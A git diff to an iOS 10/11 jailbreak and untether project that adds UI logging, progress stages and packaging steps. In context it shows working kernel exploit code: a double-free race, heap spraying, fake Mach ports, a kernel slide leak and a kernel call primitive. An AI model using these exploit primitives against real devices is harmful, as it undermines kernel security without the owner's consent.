diff --git a/Makefile b/Makefile index 2719154..a0640b0 100644 --- a/Makefile +++ b/Makefile @@ -71,6 +71,8 @@ $(APP)/jailbreak-resources.deb: # TODO: Make more accurate prerequisites +$(SRC_CLI)/control: +$(SRC_CLI)/postinst: $(SRC_CLI)/jboffsets.h: $(SRC_CLI)/compile_stage2.sh: $(SRC_CLI)/compile_stage3.sh: @@ -87,9 +89,9 @@ $(SRC_CLI)/install.m: $(SRC_CLI)/jboffsets.h $(SRC_CLI)/generated/stage2_hash3.h $(SRC_CLI)/stage2.m: $(SRC_ALL)/*.c $(SRC_CLI)/install.m $(SRC_CLI)/stage1.m $(SRC_CLI)/generated/stage2_hash3.h $(SRC_CLI)/generated/stage2_hash4.h $(SRC_CLI)/stage2.entitlements $(SRC_CLI)/compile_stage2.sh bash $(SRC_CLI)/compile_stage2.sh -$(PAYLOAD): $(UNTETHER_SRC) $(SRC_ALL)/*.m $(SRC_ALL)/*.c $(SRC_CLI)/*.sh $(SRC_CLI)/generated/stage2_hash3.h $(SRC_CLI)/generated/stage2_hash4.h $(SRC_CLI)/stage2.m +$(PAYLOAD): $(UNTETHER_SRC) $(SRC_ALL)/*.m $(SRC_ALL)/*.c $(SRC_CLI)/*.sh $(SRC_CLI)/generated/stage2_hash3.h $(SRC_CLI)/generated/stage2_hash4.h $(SRC_CLI)/stage2.m $(SRC_CLI)/control $(SRC_CLI)/postinst rm -rf -- $(SRC_CLI)/generated/package && rm -f $(SRC_CLI)/generated/*.deb - mkdir -p $(SRC_CLI)/generated/package/DEBIAN && cp $(SRC_CLI)/control $(SRC_CLI)/generated/package/DEBIAN/control + mkdir -p $(SRC_CLI)/generated/package/DEBIAN && cp $(SRC_CLI)/control $(SRC_CLI)/generated/package/DEBIAN/control && cp $(SRC_CLI)/postinst $(SRC_CLI)/generated/package/DEBIAN/postinst mkdir -p $(SRC_CLI)/generated/package/private/etc/racoon && cp $(SRC_CLI)/generated/install_stage1_2 $(SRC_CLI)/generated/package/private/etc/racoon/install_stage1_2 mkdir -p $(SRC_CLI)/generated/package/usr/sbin && cp $(SRC_CLI)/generated/racoon.dylib $(SRC_CLI)/generated/package/usr/sbin/racoon.dylib mkdir -p $(SRC_CLI)/generated/package/mystuff && cp $(SRC_CLI)/generated/stage4 $(SRC_CLI)/generated/package/mystuff/stage4 diff --git a/README.md b/README.md index 32e1a6e..0fadd82 100644 --- a/README.md +++ b/README.md @@ -138,7 +138,7 @@ If you have an issue upgrading essential packages, run `apt --fix-broken install To install the untether payload (these files are located in ./src/untether/generated): 1. Install the DEB file (use `make payload` if you can't find it) or manually copy the stage 1-2 install script to `/private/etc/racoon/install_stage1_2`, stage 3 to `/usr/sbin/racoon.dylib`, and stage 4 to `/mystuff/stage4`. -2. Type `/private/etc/racoon/install_stage1_2` in a terminal or SSH connection. This will create the folder `/var/run/racoon` if it does not yet exist. +2. If installing manually, type `/private/etc/racoon/install_stage1_2` in a terminal or SSH connection. This will create the folder `/var/run/racoon` if it does not yet exist. There will be a lot of output. If successful, the end looks something like: ``` 0x1f0214e60: 0x00000000 (NOP) @@ -148,8 +148,42 @@ There will be a lot of output. If successful, the end looks something like: 2024-05-11 05:47:33.135 install_stage1_2[4321:134320] Chain will be at: 1afe90d30 2024-05-11 05:47:33.141 install_stage1_2[4321:134320] 4610 iterations ``` + +If you're running the DEB in Zebra, the last two lines might be replaced with "Finished!". + 3. Then execute racoon (the real one in PATH, should be `/usr/sbin/racoon`) till it doesn't kernel panic anymore to make sure you got the right offsets. If you get a segfault, and the crash report shows the beast gadget offset listed in your output, you likely need to set `STAGE1FD_SCREAM_TEST` to find the right stage 1 fd in the crash log. +If successful, the end looks something like: + +``` +2024-05-16 00:52:58.174 stage4[597:8713] [jailbreak] generator is set to: 0x1111111111111111 +2024-05-16 00:52:58.174 stage4[597:8713] [jailbreak] task_info ret: 0 ((os/kern) successful) +2024-05-16 00:52:58.175 stage4[597:8713] [jailbreak] all_image_info_addr: fffffff00f404000 +2024-05-16 00:52:58.175 stage4[597:8713] [jailbreak] all_image_info_size: 8400000 +2024-05-16 00:52:58.176 stage4[597:8713] [jailbreak] bundle path: /mystuff +2024-05-16 00:52:58.176 stage4[597:8713] [jailbreak] JBOPT_POST_ONLY mode and bootstrap is present, all is well +2024-05-16 00:52:58.176 stage4[597:8713] [jailbreak] JBOPT_POST_ONLY mode and unrestrict is present, all is well +2024-05-16 00:52:58.181 stage4[597:8713] [jailbreak] wrote offsets.plist +``` + +If you provide a control-C signal, it will either kernel panic or you might respring and receive more output ending in something like: + +``` +2024-05-16 01:06:53.425 stage4[597:8713] [jailbreak] finished post exploitation +2024-05-16 01:06:53.425 stage4[597:8713] [jailbreak] unloading prdaily... +2024-05-16 01:06:53.436 stage4[597:8713] [sighandler] Stage 4 received signal: 20 +2024-05-16 01:06:53.436 stage4[597:8713] [execprog] contents of /tmp/exec_logs/1715789213: +2024-05-16 01:06:53.437 stage4[597:8713] [jailbreak] prdaily unloaded + +iPhone:~ root# 2024-05-16 01:07:18.920 stage4[597:8713] [sighandler] Stage 4 received signal: 20 +2024-05-16 01:07:18.920 stage4[597:8713] [execprog] contents of /tmp/exec_logs/1715789213: +2024-05-16 01:07:19.061 stage4[597:8713] [jailbreak] Restoring to mobile and exiting. +2024-05-16 01:07:19.062 stage4[597:8713] [restore_to_mobile] got ourproc at ffffffe0016cd860 +2024-05-16 01:07:19.062 stage4[597:8713] [restore_to_mobile] our uid is now 501 +``` + +Another control-C after this will restore control of the SSH connection. + 4. Then also set the nvram variable boot-args to "`__developer_mode_enabled`" and check if the system keeps running stable even with racoon (this is the killswitch). 5. If you did you can then go for the real untether by replacing one of the launch daemons and unsetting the killswitch to run the untether on the next boot. diff --git a/generated b/generated new file mode 120000 index 0000000..172777b --- /dev/null +++ b/generated @@ -0,0 +1 @@ +src/untether/generated \ No newline at end of file diff --git a/src/app/CreditsVC.m b/src/app/CreditsVC.m index 1b719a1..3b7cfd2 100644 --- a/src/app/CreditsVC.m +++ b/src/app/CreditsVC.m @@ -33,21 +33,21 @@ - (void)loadView creditLabel = [UILabel new]; creditLabel.translatesAutoresizingMaskIntoConstraints = NO; - creditLabel.numberOfLines = 7; + creditLabel.numberOfLines = 0; creditLabel.text = @"\ - JakeBlair420 team for the actual jailbreak\n\ -- Apple for XNU source and leaving CVE-2020-3840 in iOS for years (since iPhoneOS 1.0 if you believe the NVD entry for CVE-2012-3727)\n\ +- Apple for XNU source and patching CVE-2012-3727 wrong\n\ - National Security Agency for Ghidra\n\ -- planetbeing et al. for xpwntool to decompress the iOS 10 kernel cache\n\ -- PrimePlatypus, LukeZGD, cxdxn1 for explaining that xpwntool exists and how to use it\n\ -- blacktop for the ipsw tool to decompress the iOS 11 kernel cache\n\ +- planetbeing et al. for xpwntool\n\ +- PrimePlatypus, LukeZGD, cxdxn1 for assistance\n\ +- blacktop for the ipsw tool\n\ - Jonathan Levin for jtool"; [creditLabel setBackgroundColor:[UIColor colorWithRed:1.00 green:0.00 blue:0.00 alpha:0.0]]; creditLabel.font = [UIFont systemFontOfSize:14]; [self.view addSubview:creditLabel]; [self.view addConstraint:[NSLayoutConstraint constraintWithItem:creditLabel attribute:NSLayoutAttributeCenterX relatedBy:NSLayoutRelationEqual toItem:self.view attribute:NSLayoutAttributeCenterX multiplier:1.0 constant:0.0]]; - [self.view addConstraint:[NSLayoutConstraint constraintWithItem:creditLabel attribute:NSLayoutAttributeCenterY relatedBy:NSLayoutRelationEqual toItem:self.view attribute:NSLayoutAttributeCenterY multiplier:1.7 constant:0.0]]; + [self.view addConstraint:[NSLayoutConstraint constraintWithItem:creditLabel attribute:NSLayoutAttributeCenterY relatedBy:NSLayoutRelationEqual toItem:self.view attribute:NSLayoutAttributeCenterY multiplier:1.0 constant:0.0]]; } @end diff --git a/src/app/MainVC.h b/src/app/MainVC.h index 3c22cbc..1e4a14f 100644 --- a/src/app/MainVC.h +++ b/src/app/MainVC.h @@ -2,6 +2,10 @@ @interface MainVC : UIViewController +@property (nonatomic, strong) UITextView *textView; + +- (void)showLog:(NSString *)log; + - (id)init; - (void)actionJailbreak; diff --git a/src/app/MainVC.m b/src/app/MainVC.m index 0df28b7..4f99587 100644 --- a/src/app/MainVC.m +++ b/src/app/MainVC.m @@ -7,18 +7,40 @@ #import "MainVC.h" +void sendLog(void* controller, NSString* log) { + [(MainVC*)controller showLog:log]; +} + @implementation MainVC UIButton *jbButton; -UILabel *titleLabel; +UILabel *spiceLabel, *titleLabel; bool hasJailbroken = false; +-(void)showLog:(NSString *)log +{ + NSLog(@"Entered MainVC log function to log: \"%@\"", log); + if (![NSThread isMainThread]) { + dispatch_async(dispatch_get_main_queue(), ^{ + [self showLog:log]; + }); + return; + } + NSLog(@"Entered on main thread to log: \"%@\"", log); + + self.textView.text = [self.textView.text stringByAppendingString:[NSString stringWithFormat:@"> %@\n", log]]; + [UIView performWithoutAnimation:^{ + [self.textView scrollRangeToVisible:NSMakeRange(self.textView.text.length, 0)]; + }]; +} + - (id)init { LOG("pullup"); id ret = [super initWithNibName:nil bundle:nil]; self.tabBarItem = [[UITabBarItem alloc] initWithTitle:@"Jailbreak" image:nil tag:1]; + self.textView = [[UITextView alloc] init]; return ret; } @@ -45,15 +67,54 @@ - (void)loadView jbButton.titleLabel.font = [UIFont systemFontOfSize:30]; [jbButton addTarget:self action:@selector(actionJailbreak) forControlEvents:UIControlEventTouchUpInside]; + spiceLabel = [UILabel new]; + spiceLabel.translatesAutoresizingMaskIntoConstraints = NO; + spiceLabel.text = @"Spice"; + spiceLabel.textColor = [UIColor colorWithRed:110.0/255.0 green:59.0/255.0 blue:38.0/255.0 alpha:1.0]; + [spiceLabel setBackgroundColor:[UIColor colorWithRed:1.00 green:0.00 blue:0.00 alpha:0.0]]; + spiceLabel.font = [UIFont systemFontOfSize:24]; + titleLabel = [UILabel new]; titleLabel.translatesAutoresizingMaskIntoConstraints = NO; titleLabel.text = @"First untether-upgradable iOS 11 jailbreak"; [titleLabel setBackgroundColor:[UIColor colorWithRed:1.00 green:0.00 blue:0.00 alpha:0.0]]; titleLabel.font = [UIFont systemFontOfSize:14]; + + self.textView.translatesAutoresizingMaskIntoConstraints = NO; + self.textView.backgroundColor = [UIColor colorWithWhite:0.0 alpha:0.7]; + self.textView.textColor = [UIColor whiteColor]; + +#if N41_10_3_4 + self.textView.text = @"[*] Compiled for N41AP on iOS 10.3.4\n"; +#elif N69_11_3 + self.textView.text = @"[*] Compiled for N69AP on iOS 11.3\n"; +#elif N69_11_4 + self.textView.text = @"[*] Compiled for N69AP on iOS 11.4\n"; +#elif N71_11_3_1 + self.textView.text = @"[*] Compiled for N71AP on iOS 11.3.1\n"; +#elif J96_11_1_2 + self.textView.text = @"[*] Compiled for J96AP on iOS 11.1.2\n"; +#elif J96_11_3_1 + self.textView.text = @"[*] Compiled for J96AP on iOS 11.3.1\n"; +#else + self.textView.text = @"[*] Compiled for unknown device\n"; +#endif + + self.textView.editable = NO; + self.textView.scrollEnabled = YES; + self.textView.textContainerInset = UIEdgeInsetsMake(0, 15, 15, 15); + self.textView.font = [UIFont fontWithName:@"Courier" size:12.0f]; + self.textView.frame = CGRectMake(50, 150, 300, 150); + self.textView.center = self.view.center; + [self.view addSubview:self.textView]; [self.view addSubview:jbButton]; [self.view addConstraint:[NSLayoutConstraint constraintWithItem:jbButton attribute:NSLayoutAttributeCenterX relatedBy:NSLayoutRelationEqual toItem:self.view attribute:NSLayoutAttributeCenterX multiplier:1.0 constant:0.0]]; - [self.view addConstraint:[NSLayoutConstraint constraintWithItem:jbButton attribute:NSLayoutAttributeCenterY relatedBy:NSLayoutRelationEqual toItem:self.view attribute:NSLayoutAttributeCenterY multiplier:1.1 constant:0.0]]; + [self.view addConstraint:[NSLayoutConstraint constraintWithItem:jbButton attribute:NSLayoutAttributeCenterY relatedBy:NSLayoutRelationEqual toItem:self.view attribute:NSLayoutAttributeCenterY multiplier:1.7 constant:0.0]]; + + [self.view addSubview:spiceLabel]; + [self.view addConstraint:[NSLayoutConstraint constraintWithItem:spiceLabel attribute:NSLayoutAttributeCenterX relatedBy:NSLayoutRelationEqual toItem:self.view attribute:NSLayoutAttributeCenterX multiplier:1.0 constant:0.0]]; + [self.view addConstraint:[NSLayoutConstraint constraintWithItem:spiceLabel attribute:NSLayoutAttributeCenterY relatedBy:NSLayoutRelationEqual toItem:self.view attribute:NSLayoutAttributeCenterY multiplier:0.4 constant:0.0]]; [self.view addSubview:titleLabel]; [self.view addConstraint:[NSLayoutConstraint constraintWithItem:titleLabel attribute:NSLayoutAttributeCenterX relatedBy:NSLayoutRelationEqual toItem:self.view attribute:NSLayoutAttributeCenterX multiplier:1.0 constant:0.0]]; @@ -68,10 +129,13 @@ - (void)actionJailbreak return; } + jbButton.selected = NO; + jbButton.highlighted = NO; + jbButton.enabled = YES; [jbButton setTitle:@"Jailbreaking..." forState:UIControlStateNormal]; dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0), ^(void) { - int ret = jailbreak(0); + int ret = jailbreak(0, self, &sendLog); NSLog(@"jailbreak ret: %d", ret); if (ret != 0) { @@ -92,6 +156,9 @@ - (void)actionJailbreak - (void)exploitSucceeded { + jbButton.selected = NO; + jbButton.highlighted = NO; + jbButton.enabled = YES; hasJailbroken = true; [jbButton setTitle:@"Respring" forState:UIControlStateNormal]; @@ -99,6 +166,10 @@ - (void)exploitSucceeded - (void)exploitFailed { + jbButton.selected = NO; + jbButton.highlighted = NO; + jbButton.enabled = YES; + [jbButton setTitle:@"Failed, try again?" forState:UIControlStateNormal]; } diff --git a/src/shared/jailbreak.h b/src/shared/jailbreak.h index 744fc23..cb918bf 100644 --- a/src/shared/jailbreak.h +++ b/src/shared/jailbreak.h @@ -14,6 +14,6 @@ extern task_t kernel_task; extern kptr_t kernel_slide; extern kptr_t kernproc; -int jailbreak(uint32_t opt); +int jailbreak(uint32_t opt, void* controller, void (*updateStage)(void*, NSString*)); #endif diff --git a/src/shared/jailbreak.m b/src/shared/jailbreak.m index e989052..3c0c49a 100644 --- a/src/shared/jailbreak.m +++ b/src/shared/jailbreak.m @@ -98,7 +98,7 @@ kptr_t kernel_slide; kptr_t kernproc; -kern_return_t jailbreak(uint32_t opt) +kern_return_t jailbreak(uint32_t opt, void* controller, void (*sendLog)(void*, NSString*)) { kern_return_t ret = 0; task_t self = mach_task_self(); @@ -117,11 +117,11 @@ kern_return_t jailbreak(uint32_t opt) } else { - suspend_all_threads(); + //suspend_all_threads(); - ret = pwn_kernel(offs, &kernel_task, &kbase); + ret = pwn_kernel(offs, &kernel_task, &kbase, controller, sendLog); - resume_all_threads(); + //resume_all_threads(); if(ret != KERN_SUCCESS) goto out; @@ -191,9 +191,8 @@ kern_return_t jailbreak(uint32_t opt) MACH(unlock_nvram()); LOG("patched nvram successfully"); - // set generator - // TODO: set this to 0x0 - MACH(set_generator("0xcb95ce776496b54f")); + // set generator + MACH(set_generator("0x1111111111111111")); const char *current_gen = get_generator(); LOG("generator is set to: %s", current_gen); @@ -599,7 +598,7 @@ kern_return_t jailbreak(uint32_t opt) LOG("prdaily unloaded\n"); - /* hope substrateis running byu this point? */ + /* hope substrate is running by this point? */ if (access("/usr/bin/ldrestart", F_OK) != 0) { @@ -620,7 +619,8 @@ kern_return_t jailbreak(uint32_t opt) ret = KERN_SUCCESS; -out:; +out: + LOG("Restoring to mobile and exiting."); restore_to_mobile(); term_kexecute(); diff --git a/src/shared/pwn.h b/src/shared/pwn.h index f5ff59d..acd6084 100644 --- a/src/shared/pwn.h +++ b/src/shared/pwn.h @@ -5,6 +5,6 @@ #include "common.h" -kern_return_t pwn_kernel(offsets_t offsets, task_t *tfp0, kptr_t *kbase); +kern_return_t pwn_kernel(offsets_t offsets, task_t *tfp0, kptr_t *kbase, void* controller, void (*sendLog)(void*, NSString*)); #endif diff --git a/src/shared/pwn.m b/src/shared/pwn.m index 42ccccb..039a3d9 100644 --- a/src/shared/pwn.m +++ b/src/shared/pwn.m @@ -308,7 +308,7 @@ uint64_t send_buffer_to_kernel_and_find(offsets_t offs, uint64_t (^read64)(uint6 return 0x0; } -kern_return_t pwn_kernel(offsets_t offsets, task_t *tfp0, kptr_t *kbase) +kern_return_t pwn_kernel(offsets_t offsets, task_t *tfp0, kptr_t *kbase, void* controller, void (*sendLog)(void*, NSString*)) { kern_return_t ret = KERN_FAILURE; kport_t *fakeport = NULL; @@ -325,25 +325,29 @@ kern_return_t pwn_kernel(offsets_t offsets, task_t *tfp0, kptr_t *kbase) ip_kobject_client_port_addr = 0, ip_kobject_client_addr = 0, client_vtab_addr = 0; - - LOG("---> pwning kernel..."); + + #define PWN_LOG(...) do { sendLog(controller, [NSString stringWithFormat:@__VA_ARGS__]); LOG(__VA_ARGS__); } while(0) + #define updateStage(stage) PWN_LOG("Jailbreaking... (%d/14)", stage) + + updateStage(1); + PWN_LOG("---> pwning kernel..."); kptr_t kdata = kdata_init(); if(!kdata) goto out; - LOG("our kdata buffer is at: %llx", kdata); + PWN_LOG("our kdata buffer is at: %llx", kdata); // note to friends, family, next of kin, hackers alike: // host_page_size - returns the userland page size, *always* 16K // _host_page_size - MIG call, traps to kernel, returns PAGE_SIZE macro, will return the correct page size vm_size_t pgsize = 0x0; _host_page_size(mach_host_self(), &pgsize); - LOG("page size: 0x%lx", pgsize); + PWN_LOG("page size: 0x%lx", pgsize); io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot")); if (service == MACH_PORT_NULL) { - LOG("failed to get IOSurfaceRoot service"); + PWN_LOG("failed to get IOSurfaceRoot service"); return KERN_FAILURE; } @@ -351,11 +355,12 @@ kern_return_t pwn_kernel(offsets_t offsets, task_t *tfp0, kptr_t *kbase) ret = IOServiceOpen(service, mach_task_self(), 0, &client); if (ret != KERN_SUCCESS) { - LOG("failed to open IOSurfaceRoot user client: %x (%s)", ret, mach_error_string(ret)); + PWN_LOG("failed to open IOSurfaceRoot user client: %x (%s)", ret, mach_error_string(ret)); return KERN_FAILURE; } - LOG("opened client: %x", client); + updateStage(2); + PWN_LOG("opened client: %x", client); uint32_t dict_create[] = { @@ -383,12 +388,13 @@ kern_return_t pwn_kernel(offsets_t offsets, task_t *tfp0, kptr_t *kbase) ret = IOConnectCallStructMethod(client, offsets.iosurface.create_surface, dict_create, sizeof(dict_create), surface, &size); if (ret != KERN_SUCCESS) { - LOG("failed to call iosurface create surface"); + PWN_LOG("failed to call iosurface create surface"); ret = KERN_FAILURE; goto out; } - LOG("surface ID: %x", surface->id); + updateStage(3); + PWN_LOG("surface ID: %x", surface->id); // setup ports for the ool msg port_buffer = malloc(sizeof(mach_port_t)); @@ -411,7 +417,7 @@ kern_return_t pwn_kernel(offsets_t offsets, task_t *tfp0, kptr_t *kbase) fakeport = (kport_t *)mmap(0, KDATA_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0); bzero((void *)fakeport, KDATA_SIZE); mlock((void *)fakeport, KDATA_SIZE); - LOG("fakeport: %p", fakeport); + PWN_LOG("fakeport: %p", fakeport); fakeport->ip_bits = IO_BITS_ACTIVE | IOT_PORT; fakeport->ip_references = 100; @@ -424,14 +430,15 @@ kern_return_t pwn_kernel(offsets_t offsets, task_t *tfp0, kptr_t *kbase) ret = kdata_write((const void *)fakeport); // causes the fakeport buffer to buf flushed into kernel if (ret != KERN_SUCCESS) { - LOG("failed to write to kernel buffer! ret: %x", ret); + PWN_LOG("failed to write to kernel buffer! ret: %x", ret); goto out; } uint32_t spray_dictsz = 0x0, dummy = 0x0; size = sizeof(dummy); - LOG("pre-spraying..."); + updateStage(4); + PWN_LOG("pre-spraying..."); // always pre-spray, kids for (int i = 0; i < 100; i++) @@ -445,13 +452,14 @@ kern_return_t pwn_kernel(offsets_t offsets, task_t *tfp0, kptr_t *kbase) if (ret != KERN_SUCCESS) { - LOG("failed to call iosurface set value: %x (%s)", ret, mach_error_string(ret)); + PWN_LOG("failed to call iosurface set value: %x (%s)", ret, mach_error_string(ret)); ret = KERN_FAILURE; goto out; } } - LOG("spraying ports & racing..."); + updateStage(5); + PWN_LOG("spraying ports & racing..."); // this will try to double free an obj as long as the second dword of it will be zero, obj is alloced in kalloc.16 pthread_create(&lio_listio_thread, NULL, double_free, NULL); @@ -487,7 +495,7 @@ kern_return_t pwn_kernel(offsets_t offsets, task_t *tfp0, kptr_t *kbase) the_one = *check_port; - LOG("[!] found non-null port at 0x%x", the_one); + PWN_LOG("[!] found non-null port at 0x%x", the_one); break; } @@ -512,7 +520,7 @@ kern_return_t pwn_kernel(offsets_t offsets, task_t *tfp0, kptr_t *kbase) if (ret != KERN_SUCCESS) { - LOG("failed to call iosurface set value: %x (%s)", ret, mach_error_string(ret)); + PWN_LOG("failed to call iosurface set value: %x (%s)", ret, mach_error_string(ret)); ret = KERN_FAILURE; goto out; } @@ -520,19 +528,20 @@ kern_return_t pwn_kernel(offsets_t offsets, task_t *tfp0, kptr_t *kbase) if (the_one == MACH_PORT_NULL) { - LOG("ran out of ports :-("); + PWN_LOG("ran out of ports :-("); ret = KERN_FAILURE; goto out; } - LOG("---> we out here!"); + updateStage(6); + PWN_LOG("---> we out here!"); // allocate new port and assign it into port->ip_pdrequest to leak heap addr mach_port_t prev_port = MACH_PORT_NULL; ret = _kernelrpc_mach_port_allocate_trap(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, ¬ification_port); if (ret != KERN_SUCCESS) { - LOG("kernelrpc_mach_port_allocate_trap failed: %x (%s)", ret, mach_error_string(ret)); + PWN_LOG("kernelrpc_mach_port_allocate_trap failed: %x (%s)", ret, mach_error_string(ret)); ret = KERN_FAILURE; goto out; } @@ -540,7 +549,7 @@ kern_return_t pwn_kernel(offsets_t offsets, task_t *tfp0, kptr_t *kbase) ret = mach_port_request_notification(mach_task_self(), the_one, MACH_NOTIFY_PORT_DESTROYED, 0, notification_port, MACH_MSG_TYPE_MAKE_SEND_ONCE, &prev_port); if (ret != KERN_SUCCESS) { - LOG("mach_port_request_notification %x (%s)", ret, mach_error_string(ret)); + PWN_LOG("mach_port_request_notification %x (%s)", ret, mach_error_string(ret)); ret = KERN_FAILURE; goto out; } @@ -549,7 +558,7 @@ kern_return_t pwn_kernel(offsets_t offsets, task_t *tfp0, kptr_t *kbase) ret = _kernelrpc_mach_port_insert_right_trap(mach_task_self(), the_one, the_one, MACH_MSG_TYPE_MAKE_SEND); if (ret != KERN_SUCCESS) { - LOG("failed to insert send right on the_one: %x (%s)", ret, mach_error_string(ret)); + PWN_LOG("failed to insert send right on the_one: %x (%s)", ret, mach_error_string(ret)); ret = KERN_FAILURE; goto out; } @@ -557,19 +566,20 @@ kern_return_t pwn_kernel(offsets_t offsets, task_t *tfp0, kptr_t *kbase) ret = kdata_read((void *)fakeport); if (ret != KERN_SUCCESS) { - LOG("failed to read kdata buffer!"); + PWN_LOG("failed to read kdata buffer!"); goto out; } if (fakeport->ip_pdrequest == 0) { - LOG("fakeport->ip_pdrequest == 0"); + PWN_LOG("fakeport->ip_pdrequest == 0"); ret = KERN_FAILURE; goto out; } + updateStage(7); uint64_t heapaddr = fakeport->ip_pdrequest; - LOG("[+] got port/kernel heap address %llx", heapaddr); + PWN_LOG("[+] got port/kernel heap address %llx", heapaddr); // set that to somewhere in the buffer // kport_t is of size 0xA8 @@ -593,33 +603,34 @@ kern_return_t pwn_kernel(offsets_t offsets, task_t *tfp0, kptr_t *kbase) ret = mach_ports_register(mach_task_self(), &client, 1); if (ret != KERN_SUCCESS) { - LOG("failed to call mach_ports_register on client: %x (%s)", ret, mach_error_string(ret)); + PWN_LOG("failed to call mach_ports_register on client: %x (%s)", ret, mach_error_string(ret)); ret = KERN_FAILURE; goto out; } // get our task pointer kr64(heapaddr + offsetof(kport_t, ip_receiver), receiver_addr); - LOG("[+] receiver addr %llx", receiver_addr); + PWN_LOG("[+] receiver addr %llx", receiver_addr); kr64(receiver_addr + offsets.struct_offsets.is_task_offset, our_task_addr); - LOG("[+] our task addr %llx", our_task_addr); + PWN_LOG("[+] our task addr %llx", our_task_addr); // get the vtab of the client kr64(our_task_addr + offsets.struct_offsets.itk_registered, ip_kobject_client_port_addr); - LOG("[+] the address of our client port %llx", ip_kobject_client_port_addr); + PWN_LOG("[+] the address of our client port %llx", ip_kobject_client_port_addr); kr64(ip_kobject_client_port_addr + offsetof(kport_t, ip_kobject), ip_kobject_client_addr); - LOG("[+] address of the UC %llx", ip_kobject_client_addr); + PWN_LOG("[+] address of the UC %llx", ip_kobject_client_addr); kr64(ip_kobject_client_addr, client_vtab_addr); - LOG("[+] kernel text leak/vtab addr %llx", client_vtab_addr); + PWN_LOG("[+] kernel text leak/vtab addr %llx", client_vtab_addr); kslide = client_vtab_addr - offsets.vtabs.iosurface_root_userclient; - LOG("[!] got kernel slide: %llx!", kslide); + PWN_LOG("[!] got kernel slide: %llx!", kslide); /* set up arbitrary kernel call primitive */ + updateStage(8); uint64_t IOSurfaceRootUserClient_addr = ip_kobject_client_addr; uint64_t IOSurfaceRootUserClient_vtab = client_vtab_addr; @@ -630,7 +641,7 @@ kern_return_t pwn_kernel(offsets_t offsets, task_t *tfp0, kptr_t *kbase) // 0x5d0 / 8 = 0xBA methods // we can round to 64-bit aligned by adding 0x6, 0xBA + 0x6 = 0xC0 size_t vtab_msg_sz = sizeof(mach_msg_data_buffer_t) + (0xC0 * sizeof(uint64_t)); - LOG("vtab msg size: %x", vtab_msg_sz); + PWN_LOG("vtab msg size: %x", vtab_msg_sz); mach_msg_data_buffer_t *vtab_msg = (mach_msg_data_buffer_t *)malloc(vtab_msg_sz); bzero(vtab_msg, vtab_msg_sz); @@ -638,7 +649,7 @@ kern_return_t pwn_kernel(offsets_t offsets, task_t *tfp0, kptr_t *kbase) // safety check to make sure we found the right message vtab_msg->verification_key = 0x4141414142424242; - LOG("cloning vtab..."); + PWN_LOG("cloning vtab..."); // copy out vtable into message body for (int i = 0; i < 0xC0; i++) @@ -660,15 +671,16 @@ kern_return_t pwn_kernel(offsets_t offsets, task_t *tfp0, kptr_t *kbase) }, our_task_addr, vtab_msg, vtab_msg_sz); if (kernel_vtab_buf == 0x0) { - LOG("failed to get kernel_vtab_buf!"); + PWN_LOG("failed to get kernel_vtab_buf!"); ret = KERN_FAILURE; goto out; } - LOG("got kernel_vtab_buf at: %llx", kernel_vtab_buf); + updateStage(9); + PWN_LOG("got kernel_vtab_buf at: %llx", kernel_vtab_buf); uint64_t fake_client = (uint64_t)fakeport + 0xC0; - LOG("fake_client: %llx", fake_client); + PWN_LOG("fake_client: %llx", fake_client); // copy out cpp client object into message body // we've got ~0x380 bytes of space left in our 0x400 buffer, @@ -690,7 +702,7 @@ kern_return_t pwn_kernel(offsets_t offsets, task_t *tfp0, kptr_t *kbase) ret = kdata_write((const void *)fakeport); if (ret != KERN_SUCCESS) { - LOG("failed to write to kdata buffer! (2): %x", ret); + PWN_LOG("failed to write to kdata buffer! (2): %x", ret); goto out; } @@ -774,12 +786,13 @@ kern_return_t pwn_kernel(offsets_t offsets, task_t *tfp0, kptr_t *kbase) uint64_t zone_map_addr = kread64(offsets.data.zone_map + kslide); if (zone_map_addr == 0x0) { - LOG("failed to get zone map addr"); + PWN_LOG("failed to get zone map addr"); ret = KERN_FAILURE; goto out; } - LOG("[+] got zone map addr: %llx", zone_map_addr); + updateStage(10); + PWN_LOG("[+] got zone map addr: %llx", zone_map_addr); typedef volatile struct { @@ -794,15 +807,15 @@ kern_return_t pwn_kernel(offsets_t offsets, task_t *tfp0, kptr_t *kbase) // lck_rw_t = uintptr_t opaque[2] = unsigned long opaque[2] kreadbuf(zone_map_addr + (sizeof(unsigned long) * 2), (void *)&zm_hdr, sizeof(zm_hdr)); - LOG("zmap start: %llx", zm_hdr.start); - LOG("zmap end: %llx", zm_hdr.end); + PWN_LOG("zmap start: %llx", zm_hdr.start); + PWN_LOG("zmap end: %llx", zm_hdr.end); uint64_t zm_size = zm_hdr.end - zm_hdr.start; - LOG("zmap size: %llx", zm_size); + PWN_LOG("zmap size: %llx", zm_size); if (zm_size > 0x100000000) { - LOG("zonemap too large :/"); + PWN_LOG("zonemap too large :/"); ret = KERN_FAILURE; goto out; } @@ -816,11 +829,11 @@ kern_return_t pwn_kernel(offsets_t offsets, task_t *tfp0, kptr_t *kbase) uint64_t kern_task_addr = kread64(offsets.data.kernel_task + kslide); if (kern_task_addr == 0x0) { - LOG("failed to read kern_task_addr!"); + PWN_LOG("failed to read kern_task_addr!"); ret = KERN_FAILURE; goto out; } - LOG("[+] kern_task_addr: %llx", kern_task_addr); + PWN_LOG("[+] kern_task_addr: %llx", kern_task_addr); uint64_t kern_proc = zonemap_fix_addr(kcall(offsets.funcs.get_bsdtask_info, 1, kern_task_addr)); if (kern_proc == 0x0) @@ -829,41 +842,43 @@ kern_return_t pwn_kernel(offsets_t offsets, task_t *tfp0, kptr_t *kbase) ret = KERN_FAILURE; goto out; } - LOG("[+] got kernproc: %llx", kern_proc);; + PWN_LOG("[+] got kernproc: %llx", kern_proc);; uint64_t curr_task = zonemap_fix_addr(kcall(offsets.funcs.current_task, 0)); if (curr_task == 0x0) { - LOG("failed to get curr_task!"); + PWN_LOG("failed to get curr_task!"); ret = KERN_FAILURE; goto out; } - LOG("[+] curr task: %llx", curr_task); + + updateStage(11); + PWN_LOG("[+] curr task: %llx", curr_task); // get kernel map uint64_t kernel_vm_map = kread64(kern_task_addr + 0x20); if (kernel_vm_map == 0x0) { - LOG("failed to read kernel_vm_map!"); + PWN_LOG("failed to read kernel_vm_map!"); ret = KERN_FAILURE; goto out; } - LOG("got kernel vm map: %llx", kernel_vm_map); + 